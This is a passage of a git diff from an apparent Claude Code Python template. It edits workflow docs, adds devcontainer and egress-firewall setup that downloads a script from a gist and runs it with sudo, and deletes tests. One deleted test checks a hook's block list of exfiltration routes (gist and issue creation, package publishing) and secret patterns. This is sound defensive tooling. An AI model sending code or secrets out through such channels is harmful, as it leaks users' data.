-4. Wait for automated reviewer (e.g., CodeRabbit). When comments arrive, use `.claude/agents/review-responder.md` to triage and fix. Push fixes before proceeding.
-5. Code review: use `.claude/agents/code-reviewer.md` agent. Fix Critical issues before merge.
-6. **Update the PR test plan** -- check off completed items, add results for any manual verification steps. Do this after every push to the PR branch, not just at the end.
-
-**S.7 Document** -- Update `docs/CHANGELOG.md` with user-facing changes and `docs/DECISIONS.md` with decisions made. Use `.claude/agents/docs-updater.md` to verify.
-
-**On failure:** fix the issue, amend or re-commit, re-run from the failed step. If multiple steps fail repeatedly, reassess scope.
-
----
-
-## Failure Protocol
-
-| Failure | Action |
-|---|---|
-| Validation (S.5) fails on current code | Fix, amend commit, re-run from S.5 |
-| CI (S.6.3) fails on current code | Fix, push, re-run from S.6.3 |
-| CI fails on pre-existing issue | Document separately, do not block current work |
-| Code review flags architectural concern | Pause. Evaluate rework (back to S.4) vs. follow-up issue |
-| Multiple steps fail repeatedly | Stop. Reassess scope -- may need to split into smaller increments |
-
----
-
-## Post-merge
-
-Run `/landed` after a PR is merged. It verifies merge CI, optionally checks
-deployments (via `.claude/deploy.json`), cleans up branches, and identifies the
-next phase for P-scope work.
-
----
-
-## P. Project Path
-
-**P.1 Analyze**
-- Explore codebase architecture and boundaries
-- Read `docs/IMPLEMENTATION_PLAN.md`, `docs/CHANGELOG.md`, and `docs/DECISIONS.md` for prior decisions
-- **Consistency check**: scan `docs/DECISIONS.md` for conflicts or obsolete entries. Prune stale decisions. If conflicts found, present the contradiction to the user before proceeding.
-
-**P.2 Plan**
-- Design approach and write implementation plan in `docs/IMPLEMENTATION_PLAN.md`
-- Define phases with acceptance criteria
-
-**P.3 Execute** (repeat per phase)
-1. Run Standard Path (S.1 through S.7) for the phase
-2. Update `docs/IMPLEMENTATION_PLAN.md`
-3. Write phase handoff note (2-5 sentences: what completed, deviations, risks, dependencies, intentional debt)
-
-**P.4 Finalize** -- Merge. Version bump and changelog consolidation if applicable.
-
----
-
-## Agent Reference
-
-All custom agents are in `.claude/agents/` and use `subagent_type: "general-purpose"`.
-
-| Step | Agent File | Purpose |
-|------|-----------|---------|
-| S.5 | `code-quality-validator.md` | Lint, format, type check |
-| S.5 | `test-coverage-validator.md` | Tests and coverage |
-| S.6.2 | `pr-writer.md` | Generate PR description |
-| S.6.4 | `review-responder.md` | Handle automated reviewer comments |
-| S.6.5 | `code-reviewer.md` | Independent code review |
-| S.7 | `docs-updater.md` | Verify and update documentation |
-
----
-
-## Hooks
-
-2 hook scripts in `.claude/hooks/` run automatically via settings.json:
-
-| Hook | Event | Matcher | Behavior |
-|------|-------|---------|----------|
-| `dangerous-actions-blocker.sh` | PreToolUse | Bash | Blocks exfiltration via trusted channels (gh gist, gh issue --body, publishing) and secrets in args. Exit 2 = block. |
-| `auto-format.sh` | PostToolUse | Edit\|Write | Runs `uv run ruff format` and `uv run ruff check --fix` on edited .py files. Synchronous. |
-
-All hooks require `jq` for JSON parsing and degrade gracefully if jq is missing.
-
----
-
-## Skills
-
-4 skills in `.claude/skills/`:
-
-| Skill | Purpose |
-|-------|---------|
-| `/sync` | Pre-flight workspace sync. Fetches remote, reports branch state, dirty files, ahead/behind, recent commits. |
-| `/design` | Crystallize brainstorming into a structured plan. Reads DECISIONS.md for conflicts, auto-classifies scope, outputs actionable plan. |
-| `/done` | Universal completion. Auto-detects scope (Q/S/P), validates (3-tier checklist), ships/lands/delivers, updates docs. |
-| `/landed` | Post-merge lifecycle. Verifies merge CI, optional deployment checks, cleans up branches, prepares next phase. |
-
----
-
-## Rules
-
-4 review rules in `.claude/rules/` auto-loaded as project context:
-
-| Rule | Focus |
-|------|-------|
-| `architecture-review.md` | System design, dependencies, data flow, security boundaries |
-| `code-quality-review.md` | DRY, error handling, type annotations, complexity |
-| `performance-review.md` | N+1 queries, memory, caching, algorithmic complexity |
-| `test-review.md` | Coverage gaps, test quality, edge cases, assertion quality |
-
-These cover what linters cannot: architecture, design, and logic-level concerns.
-
----
-
-## Changelog Format
-
-Use [Keep a Changelog](https://keepachangelog.com/) format. Sections: Added, Changed, Deprecated, Removed, Fixed, Migration.
-
-Entries must describe **user impact**, not just name the change:
-- **Good**: "Users can now filter results by date range using `--since` and `--until` flags"
-- **Bad**: "Added date filter"
-
-Update changelog for every MINOR or MAJOR version bump. Patch updates are optional.
-
----
-
-## PCC Shorthand
-
-When the user says **"PCC"** or **"PCC now"**, run `/done` (which executes Validate, Ship/Land/Deliver, and Document).
diff --git a/docs/GETTING_STARTED.md b/docs/GETTING_STARTED.md
index 721d4e2..7b53432 100644
--- a/docs/GETTING_STARTED.md
+++ b/docs/GETTING_STARTED.md
@@ -10,19 +10,13 @@ Before using this template, you should be comfortable with:
- Opening a terminal (VS Code integrated terminal, Windows Terminal, macOS Terminal)
- Navigating directories (`cd`, `ls`/`dir`)
- Running commands and reading their output
-- Understanding file paths
### Git basics
-- What a repository is
- `git clone`, `git add`, `git commit`, `git push`
- What a branch is and how to create one (`git checkout -b`)
-- What a pull request (PR) is -- you don't need to be an expert, but you should understand the concept
+- What a pull request (PR) is
-If git is new to you, work through [Git - the simple guide](https://rogerdudler.github.io/git-guide/) first. It takes about 15 minutes.
-
-### GitHub account
-- You need a [GitHub](https://github.com) account to use the template and its CI/CD workflows
-- Install the [GitHub CLI](https://cli.github.com/) (`gh`) -- the template's `/done` command uses it to create PRs and check CI status
+If git is new to you, work through [Git - the simple guide](https://rogerdudler.github.io/git-guide/) first.
### Python basics
- You can write and run a Python script
@@ -42,8 +36,6 @@ If you need to install or upgrade: [python.org/downloads](https://www.python.org
### 2. uv (package manager)
-uv replaces pip, virtualenv, and poetry. It's fast and handles everything.
-
```bash
# macOS/Linux:
curl -LsSf https://astral.sh/uv/install.sh | sh
@@ -62,22 +54,24 @@ npm install -g @anthropic-ai/claude-code
You'll need an Anthropic API key or a Claude subscription. See [Claude Code docs](https://docs.anthropic.com/en/docs/claude-code/overview).
-### 4. VS Code + Dev Containers (recommended)
+### 4. Devcontainer (optional)
+
+For a secure sandbox where Claude Code runs in isolation:
-The template includes a devcontainer that sandboxes Claude Code for safety.
+```bash
+python setup_project.py --name my-project --devcontainer trailofbits --egress-firewall
+```
-1. Install [VS Code](https://code.visualstudio.com/)
-2. Install [Docker Desktop](https://www.docker.com/products/docker-desktop/)
-3. Install the [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)
-4. Clone your project, open in VS Code, and click "Reopen in Container" when prompted
+This clones [trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) and adds an egress firewall. You'll need:
-The devcontainer comes with Python, uv, ruff, git, and Claude Code pre-installed.
+1. [Docker Desktop](https://www.docker.com/products/docker-desktop/)
+2. VS Code [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)
## Your First Project
### 1. Create from template
-Go to [stranma/claude-code-python-template](https://github.com/stranma/claude-code-python-template) and click **"Use this template"** > **"Create a new repository"**. Clone it locally.
+Go to [stranma/claude-code-python-template](https://github.com/stranma/claude-code-python-template) and click **"Use this template"**. Clone it locally.
### 2. Run setup
@@ -85,8 +79,6 @@ Go to [stranma/claude-code-python-template](https://github.com/stranma/claude-co
python setup_project.py --name my-first-project --namespace my_first_project --type single
```
-This renames all placeholder files to match your project name.
-
### 3. Install dependencies
```bash
@@ -101,50 +93,39 @@ uv run ruff check .
uv run pyright
```
-All three should pass with no errors.
-
### 5. Start Claude Code
```bash
claude
```
-Try these to get a feel for the workflow:
-
+Try:
```
> /sync
> "Add a function that calculates fibonacci numbers with tests"
> /done
```
-Claude Code will write the code, write tests, and `/done` will validate, commit, and create a PR.
-
## Key Concepts
### What is CLAUDE.md?
-A file in your project root that tells Claude Code how to behave. It contains project rules, development commands, and workflow references. Think of it as a briefing document for your AI assistant. The template provides one pre-configured for the `/sync` -> `/design` -> `/done` workflow.
+A file in your project root that tells Claude Code how to behave -- project rules, development commands, workflow references. The template provides one pre-configured.
### What are agents?
-Agents are specialized Claude Code sub-processes that handle specific tasks (linting, testing, code review). They run automatically as part of the workflow. You don't invoke them directly -- `/done` orchestrates them.
+Specialized Claude Code sub-processes for specific tasks (linting, testing, code review). They run automatically as part of `/done`.
### What are hooks?
-Shell scripts that run before or after Claude Code actions. For example, the `dangerous-actions-blocker` hook prevents Claude from running `rm -rf` or leaking secrets. They run silently in the background.
-
-### What is TDD?
-
-Test-Driven Development: write the test first, then write the code to make it pass. The template enforces this order. It feels backwards at first, but it produces more reliable code because you're always building toward a defined expectation.
+Shell scripts that run before or after Claude Code actions. For example, `auto-format` runs ruff after edits.
### What is a devcontainer?
-A Docker container configured for development. VS Code opens your project inside the container, so all tools are pre-installed and Claude Code runs in a sandbox. If something goes wrong, your host machine is unaffected.
+A Docker container configured for development. VS Code opens your project inside it, so all tools are pre-installed and Claude Code runs in a sandbox.
## Next Steps
-- Read the [Development Process](DEVELOPMENT_PROCESS.md) to understand the full workflow
-- Read the [Architecture Deep Dive](ARCHITECTURE_GUIDE.md) to understand why each component exists and what happens if you remove it
-- Try the `/design` command to plan a small feature before implementing it
-- Run `/security-audit` to see how the security scanning works
-- Check [Devcontainer Permissions](DEVCONTAINER_PERMISSIONS.md) if you want to adjust Claude Code's autonomy level
+- Install [pyclaude-forge](https://github.com/stranma/pyclaude-forge) for the full Claude Code workflow (`/sync`, `/design`, `/done`, `/landed`)
+- Try the `/design` command to plan a feature before implementing it
+- Read the [CHANGELOG](CHANGELOG.md) for the latest updates
diff --git a/docs/IMPLEMENTATION_PLAN.md b/docs/IMPLEMENTATION_PLAN.md
deleted file mode 100644
index f251f82..0000000
--- a/docs/IMPLEMENTATION_PLAN.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Implementation Plan
-
-
diff --git a/docs/Sabotage Risk Report Claude Opus 4.6.pdf b/docs/Sabotage Risk Report Claude Opus 4.6.pdf
deleted file mode 100644
index 6257ece..0000000
Binary files a/docs/Sabotage Risk Report Claude Opus 4.6.pdf and /dev/null differ
diff --git a/docs/evaluating_agents_md.pdf b/docs/evaluating_agents_md.pdf
deleted file mode 100644
index ffd3f3b..0000000
Binary files a/docs/evaluating_agents_md.pdf and /dev/null differ
diff --git a/setup_project.py b/setup_project.py
index 731ea9e..11998bb 100644
--- a/setup_project.py
+++ b/setup_project.py
@@ -18,6 +18,7 @@
import shutil
import subprocess
import sys
+import urllib.request
from datetime import datetime
from pathlib import Path
@@ -425,6 +426,7 @@ def configure_devcontainer_services(root: Path, services: str, replacements: dic
"""
actions = []
devcontainer_dir = root / ".devcontainer"
+ devcontainer_dir.mkdir(exist_ok=True)
# Write docker-compose.yml from template
template = COMPOSE_TEMPLATES[services]
@@ -472,6 +474,76 @@ def get_input(prompt: str, default: str = "") -> str:
return input(f"{prompt}: ").strip()
+FIREWALL_GIST_URL = "https://gist.githubusercontent.com/stranma/f43d932bedc8335e24404c9784fcf190/raw/init-firewall.sh"
+
+TOB_REPO = "https://github.com/trailofbits/claude-code-devcontainer.git"
+
+
+def setup_devcontainer(root: Path, *, devcontainer: str, egress_firewall: bool) -> list[str]:
+ """Set up devcontainer from Trail of Bits + optional egress firewall.
+
+ :param root: Project root directory.
+ :param devcontainer: Devcontainer type ("trailofbits" or "none").
+ :param egress_firewall: Whether to fetch the egress firewall script.
+ :returns: List of actions taken.
+ """
+ if devcontainer == "none":
+ return []
+
+ actions: list[str] = []
+ dc_dir = root / ".devcontainer"
+
+ if devcontainer == "trailofbits":
+ # Clone Trail of Bits devcontainer and extract template files
+ try:
+ subprocess.run(
+ ["git", "clone", "--depth", "1", TOB_REPO, str(dc_dir)],
+ check=True,
+ capture_output=True,
+ timeout=60,
+ )
+ # Remove .git from the clone (we don't want a submodule)
+ git_dir = dc_dir / ".git"
+ if git_dir.exists():
+ # Handle Windows read-only pack files
+ def _remove_readonly(func, path, _):
+ os.chmod(path, 0o700)
+ func(path)
+
+ shutil.rmtree(git_dir, onerror=_remove_readonly)
+ actions.append(" Cloned trailofbits/claude-code-devcontainer into .devcontainer/")
+ except subprocess.CalledProcessError as e:
+ actions.append(f" WARNING: Failed to clone Trail of Bits devcontainer: {e}")
+ return actions
+ except subprocess.TimeoutExpired:
+ actions.append(" WARNING: Clone timed out after 60s")
+ return actions
+
+ if egress_firewall:
+ dc_dir.mkdir(exist_ok=True)
+ firewall_path = dc_dir / "init-firewall.sh"
+ try:
+ urllib.request.urlretrieve(FIREWALL_GIST_URL, firewall_path)
+ firewall_path.chmod(firewall_path.stat().st_mode | 0o755)
+ actions.append(" Fetched egress firewall (init-firewall.sh) from gist")
+
+ # Add postStartCommand to devcontainer.json if it exists
+ dc_json = dc_dir / "devcontainer.json"
+ if dc_json.exists():
+ raw = dc_json.read_text(encoding="utf-8")
+ try:
+ config = json.loads(raw)
+ config["postStartCommand"] = "sudo /usr/local/bin/init-firewall.sh"
+ dc_json.write_text(json.dumps(config, indent=2) + "\n", encoding="utf-8")
+ actions.append(" Added postStartCommand for firewall to devcontainer.json")
+ except json.JSONDecodeError:
+ actions.append(" WARNING: Could not parse devcontainer.json to add firewall command")
+ except Exception as e:
+ actions.append(f" WARNING: Failed to fetch firewall script: {e}")
+
+ return actions
+
+
def interactive_setup() -> dict[str, str]:
"""Collect configuration interactively."""
print("\n=== Claude Code Python Template Setup ===\n")
@@ -510,6 +582,18 @@ def interactive_setup() -> dict[str, str]:
svc_map = {"1": "none", "2": "postgres", "3": "postgres-redis", "4": "custom"}
config["services"] = svc_map.get(svc_choice, "none")
+ print("\nDevcontainer setup:")
+ print(" 1. None")
+ print(" 2. Trail of Bits (recommended -- secure sandbox for Claude Code)")
+ dc_choice = get_input("Choose [1/2]", "1")
+ config["devcontainer"] = "trailofbits" if dc_choice == "2" else "none"
+
+ if config["devcontainer"] != "none":
+ fw_choice = get_input("Include egress firewall? (blocks code exfiltration) [y/n]", "y")
+ config["egress_firewall"] = fw_choice.lower() in ("y", "yes")
+ else:
+ config["egress_firewall"] = False
+
return config
@@ -531,6 +615,17 @@ def main() -> None:
default="none",
help="Docker Compose services profile for devcontainer (default: none)",
)
+ parser.add_argument(
+ "--devcontainer",
+ choices=["none", "trailofbits"],
+ default="none",
+ help="Devcontainer setup (default: none)",
+ )
+ parser.add_argument(
+ "--egress-firewall",
+ action="store_true",
+ help="Add egress firewall to devcontainer (blocks code exfiltration)",
+ )
parser.add_argument("--git-init", action="store_true", help="Initialize git and make initial commit")
parser.add_argument("--keep-setup", action="store_true", help="Don't delete this setup script after running")
@@ -551,6 +646,8 @@ def main() -> None:
"type": args.type,
"packages": args.packages,
"services": args.services,
+ "devcontainer": args.devcontainer,
+ "egress_firewall": args.egress_firewall,
}
# Validate required fields
@@ -576,6 +673,9 @@ def main() -> None:
print(f" Type: {config.get('type', 'mono')}")
print(f" Base branch: {config.get('base_branch', 'master')}")
print(f" Devcontainer services: {config.get('services', 'none')}")
+ print(f" Devcontainer: {config.get('devcontainer', 'none')}")
+ if config.get("egress_firewall"):
+ print(" Egress firewall: yes")
# Step 1: Rename {{namespace}} directories
print("\nRenaming namespace directories...")
@@ -647,6 +747,15 @@ def main() -> None:
for a in actions:
print(a)
+ # Step 5b: Set up devcontainer
+ dc_type = config.get("devcontainer", "none")
+ if dc_type != "none":
+ print(f"\nSetting up devcontainer ({dc_type})...")
+ fw = config.get("egress_firewall", False)
+ actions = setup_devcontainer(TEMPLATE_DIR, devcontainer=dc_type, egress_firewall=fw)
+ for a in actions:
+ print(a)
+
# Step 6: Git init if requested
if getattr(args, "git_init", False):
print("\nInitializing git repository...")
diff --git a/tests/test_agents.py b/tests/test_agents.py
deleted file mode 100644
index a740f12..0000000
--- a/tests/test_agents.py
+++ /dev/null
@@ -1,127 +0,0 @@
-"""Tests for .claude/agents/ -- validates all agent files have correct frontmatter and structure."""
-
-import re
-from pathlib import Path
-
-import pytest
-
-AGENTS_DIR = Path(__file__).parent.parent / ".claude" / "agents"
-
-ALL_AGENTS = [
- "code-quality-validator.md",
- "code-reviewer.md",
- "docs-updater.md",
- "pr-writer.md",
- "review-responder.md",
- "test-coverage-validator.md",
-]
-
-VALID_MODELS = {"haiku", "sonnet", "opus"}
-VALID_PERMISSION_MODES = {"plan", "dontAsk", "acceptEdits"}
-VALID_TOOLS = {"Read", "Glob", "Grep", "Bash", "Edit", "Write", "NotebookEdit", "WebSearch", "WebFetch"}
-
-
-@pytest.fixture
-def agent_frontmatter() -> dict[str, dict[str, str]]:
- """Parse frontmatter from all agent files."""
- results: dict[str, dict[str, str]] = {}
- for agent_name in ALL_AGENTS:
- agent_path = AGENTS_DIR / agent_name
- if not agent_path.exists():
- continue
- content = agent_path.read_text(encoding="utf-8")
- if not content.startswith("---"):
- continue
- parts = content.split("---", 2)
- if len(parts) < 3:
- continue
- frontmatter: dict[str, str] = {}
- for line in parts[1].strip().splitlines():
- if ":" in line:
- key, _, value = line.partition(":")
- frontmatter[key.strip()] = value.strip()
- results[agent_name] = frontmatter
- return results
-
-
-class TestAgentExistence:
- """Verify all expected agent files exist."""
-
- def test_agents_directory_exists(self) -> None:
- assert AGENTS_DIR.exists(), f"{AGENTS_DIR} does not exist"
- assert AGENTS_DIR.is_dir(), f"{AGENTS_DIR} is not a directory"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_file_exists(self, agent_name: str) -> None:
- agent_path = AGENTS_DIR / agent_name
- assert agent_path.exists(), f"Agent file missing: {agent_name}"
-
- def test_total_agent_count(self) -> None:
- actual_agents = {f.name for f in AGENTS_DIR.iterdir() if f.is_file() and f.suffix == ".md"}
- assert actual_agents == set(ALL_AGENTS), f"Agent mismatch. Expected: {set(ALL_AGENTS)}, Got: {actual_agents}"
-
-
-class TestAgentFrontmatter:
- """Verify all agents have valid frontmatter fields."""
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_frontmatter(self, agent_name: str) -> None:
- agent_path = AGENTS_DIR / agent_name
- content = agent_path.read_text(encoding="utf-8")
- assert content.startswith("---"), f"{agent_name} missing YAML frontmatter"
- parts = content.split("---", 2)
- assert len(parts) >= 3, f"{agent_name} has unclosed frontmatter"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_name(self, agent_name: str, agent_frontmatter: dict[str, dict[str, str]]) -> None:
- fm = agent_frontmatter.get(agent_name, {})
- assert "name" in fm, f"{agent_name} missing 'name' in frontmatter"
- expected_name = agent_name.replace(".md", "")
- assert fm["name"] == expected_name, f"{agent_name} name mismatch: {fm['name']!r} != {expected_name!r}"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_description(self, agent_name: str, agent_frontmatter: dict[str, dict[str, str]]) -> None:
- fm = agent_frontmatter.get(agent_name, {})
- assert "description" in fm, f"{agent_name} missing 'description' in frontmatter"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_model(self, agent_name: str, agent_frontmatter: dict[str, dict[str, str]]) -> None:
- fm = agent_frontmatter.get(agent_name, {})
- assert "model" in fm, f"{agent_name} missing 'model' in frontmatter"
- assert fm["model"] in VALID_MODELS, f"{agent_name} has invalid model: {fm['model']!r}"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_tools(self, agent_name: str, agent_frontmatter: dict[str, dict[str, str]]) -> None:
- fm = agent_frontmatter.get(agent_name, {})
- assert "tools" in fm, f"{agent_name} missing 'tools' in frontmatter"
- tools = {t.strip() for t in fm["tools"].split(",")}
- invalid = tools - VALID_TOOLS
- assert not invalid, f"{agent_name} has invalid tools: {invalid}"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_permission_mode(self, agent_name: str, agent_frontmatter: dict[str, dict[str, str]]) -> None:
- fm = agent_frontmatter.get(agent_name, {})
- assert "permissionMode" in fm, f"{agent_name} missing 'permissionMode' in frontmatter"
- assert fm["permissionMode"] in VALID_PERMISSION_MODES, (
- f"{agent_name} has invalid permissionMode: {fm['permissionMode']!r}"
- )
-
-
-class TestAgentBody:
- """Verify agents have meaningful body content after frontmatter."""
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_has_body(self, agent_name: str) -> None:
- agent_path = AGENTS_DIR / agent_name
- content = agent_path.read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2].strip() if len(parts) >= 3 else ""
- assert len(body) > 100, f"{agent_name} body is too short ({len(body)} chars)"
-
- @pytest.mark.parametrize("agent_name", ALL_AGENTS)
- def test_agent_body_has_heading(self, agent_name: str) -> None:
- agent_path = AGENTS_DIR / agent_name
- content = agent_path.read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2] if len(parts) >= 3 else ""
- assert re.search(r"^#+\s", body, re.MULTILINE), f"{agent_name} body missing markdown heading"
diff --git a/tests/test_hooks.py b/tests/test_hooks.py
deleted file mode 100644
index f3ce3ce..0000000
--- a/tests/test_hooks.py
+++ /dev/null
@@ -1,169 +0,0 @@
-"""Tests for .claude/hooks/ -- validates hook scripts exist, are executable, and have correct structure."""
-
-import stat
-import subprocess
-from pathlib import Path
-
-import pytest
-
-HOOKS_DIR = Path(__file__).parent.parent / ".claude" / "hooks"
-
-ALL_HOOKS = [
- "dangerous-actions-blocker.sh",
- "auto-format.sh",
-]
-
-
-class TestHookExistence:
- """Verify all expected hook scripts exist."""
-
- def test_hooks_directory_exists(self) -> None:
- assert HOOKS_DIR.exists(), f"{HOOKS_DIR} does not exist"
- assert HOOKS_DIR.is_dir(), f"{HOOKS_DIR} is not a directory"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_file_exists(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- assert hook_path.exists(), f"Hook script missing: {hook_name}"
-
- def test_no_unexpected_hooks(self) -> None:
- actual_hooks = {f.name for f in HOOKS_DIR.iterdir() if f.is_file() and f.suffix == ".sh"}
- expected_hooks = set(ALL_HOOKS)
- unexpected = actual_hooks - expected_hooks
- assert not unexpected, f"Unexpected hook scripts found: {unexpected}"
-
-
-class TestHookPermissions:
- """Verify all hook scripts are executable."""
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_is_executable(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- repo_root = Path(__file__).parent.parent
- # Try git's tracked mode first (works on Windows where NTFS has no execute bit)
- result = subprocess.run(
- ["git", "ls-files", "-s", str(hook_path.relative_to(repo_root))],
- capture_output=True,
- text=True,
- cwd=repo_root,
- )
- if result.stdout:
- assert result.stdout.startswith("100755"), (
- f"{hook_name} is not tracked as executable by git (expected mode 100755)"
- )
- else:
- # Not in a git repo (e.g. integration test copy) -- fall back to filesystem
- mode = hook_path.stat().st_mode
- assert mode & stat.S_IXUSR, f"{hook_name} is not executable (missing user execute bit)"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_is_readable(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- mode = hook_path.stat().st_mode
- assert mode & stat.S_IRUSR, f"{hook_name} is not readable"
-
-
-class TestHookStructure:
- """Verify hook scripts have correct structure."""
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_has_shebang(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- first_line = hook_path.read_text(encoding="utf-8").splitlines()[0]
- assert first_line == "#!/bin/bash", f"{hook_name} missing #!/bin/bash shebang, got: {first_line!r}"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_has_description_comment(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- content = hook_path.read_text(encoding="utf-8")
- lines = content.splitlines()
- comment_lines = [line for line in lines[1:10] if line.startswith("#")]
- assert len(comment_lines) >= 1, f"{hook_name} missing description comment after shebang"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_uses_jq(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- content = hook_path.read_text(encoding="utf-8")
- assert "jq" in content, f"{hook_name} does not use jq for JSON parsing"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_handles_missing_jq(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- content = hook_path.read_text(encoding="utf-8")
- assert "command -v jq" in content, f"{hook_name} does not check for jq availability"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_ends_with_exit_0(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- content = hook_path.read_text(encoding="utf-8").rstrip()
- assert content.endswith("exit 0"), f"{hook_name} does not end with 'exit 0'"
-
- @pytest.mark.parametrize("hook_name", ALL_HOOKS)
- def test_hook_is_not_empty(self, hook_name: str) -> None:
- hook_path = HOOKS_DIR / hook_name
- content = hook_path.read_text(encoding="utf-8")
- assert len(content) > 100, f"{hook_name} appears to be too short ({len(content)} bytes)"
-
-
-class TestExfiltrationGuardBehavior:
- """Verify dangerous-actions-blocker blocks exfiltration patterns."""
-
- def test_exits_2_for_blocks(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- assert "exit 2" in content, "dangerous-actions-blocker must exit 2 to block actions"
-
- def test_checks_bash_only(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- assert '"Bash"' in content, "dangerous-actions-blocker should only check Bash tool"
-
- def test_blocks_gh_gist_create(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- assert "gh gist create" in content, "dangerous-actions-blocker missing gh gist create pattern"
-
- def test_blocks_gh_issue_create_with_body(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- assert "gh issue create" in content, "dangerous-actions-blocker missing gh issue create pattern"
- assert "--body" in content, "dangerous-actions-blocker missing --body check"
-
- def test_blocks_publishing_commands(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- for pattern in ["twine upload", "npm publish", "uv publish"]:
- assert pattern in content, f"dangerous-actions-blocker missing publishing pattern: {pattern}"
-
- def test_checks_secrets(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- for pattern in ["ANTHROPIC_API_KEY", "AWS_SECRET_ACCESS_KEY", "AKIA", "sk-", "ghp_"]:
- assert pattern in content, f"dangerous-actions-blocker missing secret pattern: {pattern}"
-
- def test_does_not_block_local_destruction(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- # Extract only the block-list arrays (non-comment lines containing patterns)
- non_comment_lines = [line for line in content.splitlines() if not line.strip().startswith("#")]
- code_content = "\n".join(non_comment_lines)
- for pattern in ["rm -rf /", "'sudo'", "DROP DATABASE", "git push --force"]:
- assert pattern not in code_content, (
- f"dangerous-actions-blocker should NOT block local destruction pattern: {pattern}"
- )
-
- def test_has_security_model_comment(self) -> None:
- content = (HOOKS_DIR / "dangerous-actions-blocker.sh").read_text(encoding="utf-8")
- assert "Exfiltration guard" in content, "dangerous-actions-blocker missing security model comment"
- assert "disposable" in content, "dangerous-actions-blocker missing disposable devcontainer note"
-
-
-class TestAutoFormatBehavior:
- """Verify auto-format hook has correct patterns."""
-
- def test_targets_python_files(self) -> None:
- content = (HOOKS_DIR / "auto-format.sh").read_text(encoding="utf-8")
- assert "*.py" in content or ".py" in content, "auto-format should target Python files"
-
- def test_uses_ruff(self) -> None:
- content = (HOOKS_DIR / "auto-format.sh").read_text(encoding="utf-8")
- assert "ruff format" in content, "auto-format should use ruff format"
- assert "ruff check --fix" in content, "auto-format should use ruff check --fix"
-
- def test_checks_edit_and_write(self) -> None:
- content = (HOOKS_DIR / "auto-format.sh").read_text(encoding="utf-8")
- assert '"Edit"' in content, "auto-format should check Edit tool"
- assert '"Write"' in content, "auto-format should check Write tool"
diff --git a/tests/test_permissions.py b/tests/test_permissions.py
deleted file mode 100644
index 9a23466..0000000
--- a/tests/test_permissions.py
+++ /dev/null
@@ -1,483 +0,0 @@
-"""Tests for .claude/settings.json permission patterns.
-
-Validates JSON structure, pattern syntax, matching semantics, conflict detection,
-security invariants, and deny > ask > allow evaluation order.
-"""
-
-import json
-import re
-from pathlib import Path
-from typing import Any
-
-import pytest
-
-SETTINGS_PATH = Path(__file__).parent.parent / ".claude" / "settings.json"
-SHELL_OPERATORS = re.compile(r"[;&|]")
-TOOL_PATTERN = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*(\(.*\))?$")
-
-
-def matches(pattern: str, tool_call: str) -> bool:
- """Simulate Claude Code permission pattern matching.
-
- :param pattern: permission pattern from settings.json (e.g. ``"Bash(ls *)"`` or ``"WebSearch"``)
- :param tool_call: simulated tool invocation (e.g. ``"Bash(ls -la)"`` or ``"WebSearch"``)
- :return: True if the pattern matches the tool call
- """
- if "(" not in pattern:
- if "(" not in tool_call:
- return pattern == tool_call
- return tool_call.startswith(pattern + "(")
-
- pat_tool, pat_inner = pattern.split("(", 1)
- pat_inner = pat_inner[:-1] if pat_inner.endswith(")") else pat_inner
-
- if "(" not in tool_call:
- return False
-
- call_tool, call_inner = tool_call.split("(", 1)
- call_inner = call_inner[:-1] if call_inner.endswith(")") else call_inner
-
- if pat_tool != call_tool:
- return False
-
- if call_tool == "Bash" and SHELL_OPERATORS.search(call_inner):
- return False
-
- if pat_inner.endswith(" *"):
- prefix = pat_inner[:-2]
- return call_inner == prefix or call_inner.startswith(prefix + " ")
-
- return call_inner == pat_inner
-
-
-def evaluate(command: str, settings: dict[str, Any]) -> str:
